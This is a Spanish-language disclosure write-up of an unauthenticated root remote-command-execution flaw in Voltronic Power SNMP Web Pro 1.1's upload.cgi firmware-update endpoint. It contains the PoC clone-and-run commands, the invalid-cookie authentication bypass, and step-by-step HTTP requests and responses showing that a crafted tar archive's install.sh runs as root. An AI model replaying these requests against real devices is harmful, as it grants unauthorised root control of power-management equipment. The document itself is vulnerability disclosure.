
Ejecución remota de comandos como root completo sin autenticación previa en Voltronic Power SNMP Web Pro 1.1
Ejecución remota de comandos completa preautenticada en Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contiene una vulnerabilidad de ejecución remota de código no autenticada en el endpoint upload.cgi. La funcionalidad de actualización de firmware permite a los usuarios subir un archivo tar, que luego se extrae e instala sin ninguna validación de entrada ni comprobaciones de seguridad. La aplicación no restringe ni sanitiza el contenido del archivo, por lo que un atacante puede subir un archivo manipulado que contenga scripts CGI maliciosos. Con un poco de prueba y error —y mucha ayuda de la información que filtra cada respuesta— es posible deducir el formato exacto de archivo esperado y crear uno malicioso.
Además, el endpoint no valida correctamente la autenticación: basta con suministrar una cookie de sesión manipulada o no válida para eludir los controles de acceso y alcanzar la funcionalidad vulnerable sin credenciales válidas, aunque el front-end exija claramente un inicio de sesión para usarla.
La explotación exitosa permite a un atacante colocar archivos ejecutables arbitrarios dentro del directorio del servidor CGI y ejecutar comandos con privilegios de root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Todo lo siguiente se realizó contra una instancia local (http://localhost:5555). Dos cosas hacen que todo este ejercicio sea trivial desde el principio:
Cookie: -http-session-=NOT_VALID es todo lo que necesitamos para cada petición: el parámetro de consulta sid es un valor aleatorio generado por el JavaScript del front-end y el servidor también lo ignora por completo.Los pasos siguientes siguen ese bucle. Las peticiones se reducen a las cabeceras mínimas que el servidor realmente tiene en cuenta.
La primera petición ya nos dice dónde espera el servidor que viva el archivo de firmware. Nótese que params=extract le pide al CGI que extraiga un archivo, no que lo reciba: todavía no se ha subido nada, el endpoint simplemente intenta desempaquetar lo que espera encontrar en el disco.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Respuesta:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
El cuerpo es oro puro. Además del (NAK (acknowledgement negativo) que nos dice que la operación falló, la salida cruda del binario tar está incrustada literalmente en la respuesta: está intentando extraer /root/upgrade.tar.gz. Nótese también la ruta de instalación de destino /root — estamos hablando con un proceso privilegiado.
Dos datos para el plan de explotación:
upgrade.tar.gz y se coloca en /root. Nuestro nombre de archivo no importa.Primero, crear un archivo tar de prueba (la subida es un POST multipart; su traza no es interesante — las llamadas GET son las que controlan todo el comportamiento):
tar czvf test.tar.gz test.txt
test.txt
Iniciar el ciclo: subir el archivo y luego extraerlo:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK — la extracción se completó sin quejas. El ciclo (subir -> extraer -> instalar) es la forma de todo este exploit; a partir de aquí solo cambia el paso de instalación, así que las siguientes trazas solo muestran la línea de petición y el cuerpo de la respuesta (las cabeceras permanecen idénticas a las anteriores).
upgradeLa extracción funciona, es hora de instalar. La respuesta difiere como se esperaba:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK de nuevo, pero los restos de un comando de shell se filtran: cd: line 1: can't cd to /root/upgrade*. El instalador ejecuta shell arbitrario — intenta hacer cd a un glob que se expande a una carpeta llamada upgrade dentro del archivo extraído. Nuestro archivo plano e inocente (test.txt en la raíz) no satisface el glob. Solución fácil: reempaquetar con un directorio upgrade/ de nivel superior.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Luego repetir los dos primeros pasos del ciclo: volver a subir y volver a extraer.
install.shMisma llamada de instalación otra vez, y la filtración mejora aún más:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Hace chmod de un script llamado install.sh — lo que significa que el procedimiento de instalación ejecuta un script de shell del archivo, como root. En este punto controlamos todos los archivos del archivo, así que controlamos ese script. Esta es toda la vulnerabilidad en una línea: archivos arbitrarios, ejecutados con privilegios de root, sin autenticación.